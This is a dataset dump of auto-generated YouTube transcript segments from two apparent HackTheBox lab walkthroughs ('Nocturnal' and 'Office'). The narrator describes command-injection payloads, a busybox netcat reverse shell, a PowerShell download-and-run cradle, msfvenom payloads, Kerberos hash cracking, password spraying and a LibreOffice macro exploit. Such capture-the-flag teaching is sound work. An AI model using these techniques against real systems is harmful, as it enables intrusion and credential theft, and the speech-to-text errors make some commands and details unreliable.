text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
And there we go. We have successfully poned the box.
2,268.88
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
So I know there's one thing we wanted to do. If we go all the way back, I have this anal u analysis later. And I probably should just put my SSH key on this box. So let's go um SSH key gen.
2,274.64
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Uh is it 25519? I hope this is right. Uh, let's do nocturnal. There we go.
2,291.92
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Cat nocturnal.pub. And that's just a very short SSH key so it's easier to copy and paste around. Um, so we can copy this.
2,304.4
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
And let's see, we'll do lsla.
2,314.8
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
We have ash directory. Awesome. So we can say echo this root SSH authorized keys. There we go. SH- I nocturnal root at 1010 1164. And now I'm in the box. So what this is going to enable us to do is edit the script so we can see exactly um where our payload was going bad. So, let's get a working payload again. And this ...
2,319.92
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
We say percent 0. And then we're just going to type it here. So, we'll do Wait, we had it on uh dubdubdub, right? cd dubdubdub cat. Was it shell.sh? Yep. Uh tail-1 and uh hold on.
2,373.839
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
This is getting messy. Uh just do temp dash c. I'm just doing this so I can easily um set right. So we can do search and replace and then search for um space and replace it with was tab 09 I think 09 right on temp. There we go.
2,400.88
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's just copy. Let's see. Was this where I did it? Yep. 09 was tab. So, we can put that there.
2,428
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
And then we have to encode both of these. There we go. And now I'm going to put this all on one line and send it.
2,437.92
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
And did we get a shell? It's hung. Uh, NP 9,0001. Send uh thing nocturnal HTB can reach it can curl. Oh, I bet it's related to my session.
2,452.96
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Um, let's see. Curl-h cookies. This is going to sound really weird. It worked with cookies.
2,482.48
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Did I spell it right? It's cookie.
2,494.72
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Please say it hangs. Yes, it is hung. So, what's happening is it's putting my PHP session and probably like the PHP FPM. I think that's something field pool manager or something or file pool manager, whatever it is. And I have a reverse shell still running. So, I bet soon as I kill this reverse shell, then all my other...
2,499.76
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
So, let's see. Try another. Oh, I bet the and sign is on the bad characters. That makes sense because you can do command injection with that, right? This percent 26 when I decode it. Um, whoops. I think yeah, I just decoded it there. So, that's probably on a bad character. And when I was sending it like this, it probab...
2,544.64
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's see. So, the clean entry, these are all the blacklisted characters. So, we do have the amperand there. So, that's why we can't use that. And then I bet if we do try another password. There we go. Um, it's also looks like it is running this command and writing to See that's writing standard error to standard out.
2,600.16
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
That's writing to log file. So it should write to the log file temp backup. So if we send this let's see um we're on this box. Find slashgrap back. Oh whoops. We probably want to do temp. No.
2,632.64
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Huh? Let's see.
2,658.72
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
We just do this. What happens?
2,664.079
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
So, now it has archived. Looks like it's just not writing to the backup at all, which is annoying. Or writing to the log file, I should say. Um, is there like a verte attempt? See what was that exact file name?
2,669.599
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Uh, did I just delete the file? Where is admin.php?
2,701.92
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
I deleted the file.
2,718.4
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
I don't know how 404 not found. Well, that is unfortunate. Um, I may revert the box. Uh, because I don't think I have a copy of that file. Oh, wait.
2,730.16
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
I think this is admin.php.
2,755.599
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
I have no idea where that file went, but I think it's back.
2,761.68
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
That looks good. Okay. Um, I did something really stupid and I don't know what it was, but let's see.
2,773.92
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Attent back up. What is that file name?
2,786.319
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Is it backup underscore? It is.
2,791.599
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
There's log file. Oh, it's doing an unlink here. That's probably where it's uh getting deleted.
2,801.2
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's comment this out.
2,808.64
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
No log file. What is the name?
2,824.96
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
slashtemp unders. Yeah. Okay. I have no idea where this file is going. Um, that is absolutely bizarre to me. But let's see. Uh, if we do nc-H. So, it looks like the amperand is the bad character and that's what's screwing it up. Um, we could try double URL encoding it. So, if we do I think percent 25 to six. Uh, we're ...
2,838.079
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
So, you could try double your encoding. So everywhere there's a percent 26, we do percent 25. So that way it decodes it once, gets a percent 26, and then we get the amperand. Right? So that's what we're going to try. Don't think it's going to work.
2,870.4
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Run it. And no.
2,890.72
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
So that doesn't work. And we can't really get around not using the amperand in this bash oneliner because the amperand is um I think what tells it's a file descriptor not a file. So that's annoying. Um netcat the NC version we have doesn't have the dash lowercase e. So we can't um set it to bash. Let's see there is bus...
2,895.92
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
It is. And this has the dash e. So maybe we can use busy boxes. So let's copy this. And let's see. Here's the bash.
2,927.839
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
This is where we go. So all I'm going to do is this command and then 10 1048 91. And this will be dash e bash.
2,940.48
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
So, put tabs here.
2,955.68
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Okay. Put this all on one line.
2,962.96
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
It's hung. And don't have a shell.
2,969.76
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's see. Do we have an error message?
2,979.119
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
going down. Permission denied.
2,985.839
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's see. We end that new line 0 A. We do busy box netcat 0 A and backup.
2,992.24
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
See, there's another file. Permission error. Not found.
3,018.88
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
See percent 09.
3,040.8
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
We need bin bash. Maybe use the full path.
3,050.48
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Still did not work.
3,057.52
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
This will be really obvious in hindsight. I bet that's all 09's. So, let's try busy box n-e bin bash 10 10 148 91. What's it look like? Fail.
3,062.96
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's see. local port is -p.
3,088.8
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Uh, the port goes after. Okay, I'm not used to doing arguments that way, but let's try that.
3,095.839
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Percent 09.
3,110.64
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
That was it. And we have a shell. Awesome. So, if you want to do it on one line, you can always fall back to um busy box. And that seems to be working. Does this shell work?
3,116.4
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Yep, it does. So, that would be another way to do it. If for some reason you can't write to the disc, you could try the busy box netcat command and then do the dash e there. So hopefully you guys enjoyed um this little segment. It didn't go exactly as I thought because we spotted the issue right away. Um I was planning...
3,134.079
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Let's go to process open like uh proc. I guess we could start playing around with this in order to get this to either write to a file or write back out to the web page. So you could see the actual error message. Um I noticed I just wasn't looking at the error messages in Burp Suite, so we didn't have to go to that leve...
3,158.24
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
Um, let's control Z a few times to get to where our reverse shell is. Come on. I don't want busy box.
3,201.68
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
And there we go. So, if we run this after we kill our shell, let's see. Cancel. Send control C that let's see I'm going to search for please subscribe and now we can see my exact command I'm running right so you can see exactly um shoot this one here's the command that was failing right but now we can start trouble sho...
3,217.2
0
{ "video_id": "tjA3sXsnPqw", "title": "HackTheBox - Nocturnal", "url": "https://www.youtube.com/watch?v=tjA3sXsnPqw" }
what's going on YouTube this is ipag I'm doing office from hack the box which is a hard Windows machine that has a lot of steps seriously the hardest part about this box is all the Recon you have to do each of the exploits isn't too technically hard but they can be hard to find it starts off with a jumet information di...
0.12
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
code execution through an exploit or enabling macros through editing the registry then you log in as a different user you can get a credential through dappy that lets you log in as a user that has um group policy management privileges I know that's a lot so let's just jump in as always we're going to start off with the...
45.44
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
down look at ldap and confirm this is a active directory server but let's keep going down the list we have HTTP on Port 80 and interesting enough it's not running IIs it is running Apache httpd 246 and normally when you install Apache you're using a program called xpp and very very recently there was a vulnerability in...
93.04
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
something that's good to read and there's also a proe concept exploit if you wanted to run this uh but we can confirm it is not going to be vulnerable I guess we can try running it just for a peace of mind so if we go into this if we look at how to run it um we give it- C and then the PHP system syntax so we're injecti...
158.319
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
let's now change the url to be office.
232.92
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
htb and it does look like it's vulnerable um we could take a look at the exploit script itself to see kind of how it's working so we get the URL then we're adding percent a this is I think some type of quotation mark or hyphen in the different language the percent ad is critical to like the Japanese Chinese uh language...
238.159
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
443 this is just looks like Apache um looks slightly different because it's just a forbidden according to end map so let's just try htps office. htb see what happens here we go to Advanced accept and we just get a forbidden so there's a different site here I believe um if we went back up to Port 80 it is running jumla ...
310.96
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
text um it tells us is jumla and if you watch a lot of my videos there is um a way to enumerate jumla version I always forget the path it's if you Google jumla administrator manifest there's an XML document called like manifest.xml it's under manifest files jumla XML that's it uh manifest there we go and this is going ...
369.16
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
better than I'm going to do now but let's just go and run this essentially it is a a um forgetting blanking on the word right now get clone it is a idor vulnerability essentially um I think it like insecure direct object reference is what it stands for but um there is a API endpoint in jumla that is not properly um req...
444.68
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
HTP and let's check if the thing is vulnerable and it hits a bunch of end points does find one that has a password so you may think if we just chake this password we go over to the jumla login and we should be able to log in with this password if we do administrator and we can't so if you want to see exactly what this ...
506.56
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
here is looking at the MySQL config and that is the password for the MySQL user um if we look at the um info up here there's only one username on jumla and that's administrator so we have to figure out exactly what to do with this password it's probably going to be used somewhere else in this box and if we went back to...
581.6
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
exist try this see if we can get any way to get the DC to give us um access occasionally it's configured that allows Anonymous users access to the DC and if it does then we can do the rid Brute without any type of credentials but it doesn't look like we'll be able to here so the other thing we can do is something calle...
646
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
we'll specify the DC which is 101 113 then the domain office.
707.72
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
htb and then we want to give it the username file so I'll do opt um SEC list usernames and then that Z 10 million usernames and I'm also going to specify 100 threads so it goes a little bit quickly uh usernames do text there we go and we probably need a out file as well that is- l so I'm going to give it- o we'll say c...
714.8
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
bat this is probably going to take like 15 minutes to run so I'm just going to periodically take this username list and we can spray it with the password we got from jumla which we probably should copy to creds or let's just call call it passwords do out uh that's the wrong clipboard there we go so let's see uh we want...
796.279
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
I'm going to give it continue on success just in case there's multiple users that this password goes to so let's see if it starts cranking so we got password failures it looks like d wolf uh we can access so let's uh do username as DeWolf and then let's see what we have it doesn't say pwn so we can't just um like PS ex...
868.639
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
client - capital u d wolf 10 10 113 sock analysis like that and the password it's a domain controller so we don't need to worry about the um domain name we probably should do office. htb backd wolf but domain controllers you don't have to specify the domain at all so looking at this there is a pcap file so so let's jus...
955.959
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
see exactly what type of traffic we have there's some DNS stuff uh that is business being so that's not interesting so let's see let's look at SMB see if there's anything interesting here it doesn't look like too much I hoping to see like maybe a authentication or user or like file transfer I don't see anything um we c...
1,028.48
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
and Peak RS I think supports 23 not 18 but it's not hard to manually create these hashes as long as you have the encrypted Tim stamp which we don't have it would be right here so this is the request if we go to the second packet though we have the encrypted timestamp and if we look at the value we have this right here ...
1,109.72
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
preo or DB let's see I'm guessing it's going to be actually uh pre-authentication encryption type 18 so let's go and and grab this I'm going to go I'm just going to call it hashes and this is going to be example and we want to paste this so whoops and by paste I just meant like Creator own so we leave 18 so this one is...
1,182.08
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
Kraken which is just another machine on my network because I don't want to run hashcat on my VM that I'm using to record videos and stuff because it's very CPU intensive and you should probably never use hashcat on um your VM it should always be on bare metal so let's go and create office we can paste this hash in and ...
1,272.159
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
done that known that before because when we're doing this whole enumeration thing with the jumla exploit there was only one username and that was administrator right so that's why we definitely couldn't use Tony Stark so uh let's go and find where the template is because the quickest way to get rce once you're on a CMS...
1,354.2
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
CMD um if we just did this then the page would erir if anyone hit this um offline. PHP because it can't find this variable right and you never really want to do that because it just tells everyone how to execute code also like if you doing it on index.php then the error message could just take down the website so it's ...
1,429.88
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
burp Suite so we can quickly get a reverse shell uh let's go proxy intercept is on send this go over to repeater convert this request and now I need to create a web cradle so what I'm going to do is make a directory dubdub dub and then let's copy opt um or CP user local where's Nang um is it user share Nang shells Powe...
1,545.919
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
PS1 and let's see let's delete that and then edit the IP address to be ours so 10 10 148 and I always like sending it to Port 90001 so what we have to do now is set up a web server and then we can go over here and do a Powershell ex new object net.
1,596.279
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
webclient download string HTTP 10148 Port 8000 shell.
1,623.279
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
PS1 NCL lvmp 901 send the string and we see a get and then the connection come through I think if we used a double quote it actually wouldn't work let's just test out um I know people sometimes have trouble with this um I have a vague memory of this being very like quote specific right you can see the double quote is n...
1,635.24
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
quotes and that's definitely taking longer to get our shell now I forgot to do one thing that I always like doing and that is setting up our l r so I can have the up and down errors with my shell so let's go do that again and now we have a shell as who are we the web account so the first thing I always look at is just ...
1,727.64
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
something on like https office. htb and that was forbidden so I want to see what else there is on this web server normally I would um go pillage like the Juma config and look for the password that is my SQL but we already got that from that one Juma exploit right so I'm going to to go in SE calling zamp HD docs and the...
1,780.039
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
like maybe my VPN had died looks like it did okay sweet my shell is still alive that is a miracle we go to internal logs I did ASD it is also forbidden so that wasn't like a 404 um if I did ASD and got a 404 then I know I was definitely in that administrat directory but I don't um looking at internal we got resume. PHP...
1,849.799
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
but we didn't see this on our end map it could be that 8083 is not in the top 10,000 so we didn't scan it so let's go take a look 10 103 8083 and it doesn't look like we can connect to this port so we have to use chisel in order to access it so I'm going to go in program data and then we're going to upload chisel um le...
1,931.24
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
8083 and there we go we have the proxy up so now if I do 1271 8083 we can see what that internal page is all about so if we go over to this submit application we can upload documents so if we did IPC root ic.
2,013.279
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
rocks and if we had a open Office document we could upload it here and supposedly someone would be opening this right we can choose the department we want to um go in so let's see we probably should get another shell so let's do that real quick NCL lvmp 901 let's go here save bur sweet send we have a shell so what we w...
2,035.84
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
here there's got to be a way to look at the version um let's just use wipes wipes will help us out so wipas GitHub or we probably have it on our box already opt wipas it's probably P's opt pe's winp x64 because wipas will tell us um all the software installed so we can do W get HTP 10 10 14 8 8,000 winp x64.exe we'll j...
2,148.56
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
shell I'm trying to see that error message okay so let's switch to a different user and then we'll run um win peas so let's go CP her locate run as cs. exe this is the easiest way to switch users on Windows is just getting this net program if you just Google runss you can find it on GitHub but let's download this 10 10...
2,265.319
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
exe T Stark Playboy 69 CMD exe I forgot the dash R let's do RL R there we go so let's see if I do power shell do I get my shell I do I want to If this just magically works now get wmi object class 132 product it's taking longer which is a good sign I think my VPN died again nope there we go see I have a feeling that I ...
2,370.2
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
have oddly enough we have this registry editor group it's odd that wipas is complaining that it can't access the registry but okay so it looks like the um uh command we did here this get wmi object did finish so if we look at it we can probably find out now what version is so we have Liberty office 5262 installed so if...
2,503.64
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
at the temp content.xml file and replaces the word payload with what we want so let's look at exactly how this works so if we go in samples let's extract let's make temp uh 7zx to extract open Office documents are just Bunches of XML we go in content on XML let's look for payload and the actual cve is pretty much this ...
2,592.44
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
intended way is to take the registry editor permission we have and change the registry to enable macros in Open Office so that's why I'm doing it this way first to show that this works um even if they aren't enabled if they're running an out ofate version of open Office so let's do r- RF on Temp and let's create this s...
2,664.48
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
is probably expecting open Office to be ran on a Linux machine so that's why it's like that so let's see we created a document we have that running let's just start a shell I'm going to stay on this screen to see if anything hits us and we can go Local Host 1271 8083 through a chisel and we can upload our document that...
2,769.319
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
can upload something else so I'm going to use msf venom for this so you can do msf Venom DP uh Windows x64 shell underscore reverse TCP then we can say l host is equal to 10 1048 L Port is equal to 90001 formats exe output is shell. exe so this is just creating a quick executable that we can just um put on the document...
2,843.48
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
exploit 2. ODT let's go back browse exploit 2 and let's move that web server where is it to pain five okay so we'll upload exploit 2 and let's see we can probably what was it examp HT docs internal di applications so we can see this is probably the application we have just uploaded um give it a minute to see if it disa...
2,946.92
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
I'm going to pause it and we'll wait I only wait three um five minutes so hopefully it doesn't take that long and soon as I hit the stop record button we got our shell if we look at it we are now the pts user um I do want to take a step back though and show that we didn't have to use that Liberty office exploit because...
3,045.2
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }
macros so they can change the security level so if we just Google um open Office macro security level registry I think that would tell us what we need to do let's see is that here oh right here this one so here we have um a listing of the values right here's the key under either hkey locom machine or current user you s...
3,103.52
0
{ "video_id": "RZi77SG5KKg", "title": "HackTheBox - Office", "url": "https://www.youtube.com/watch?v=RZi77SG5KKg" }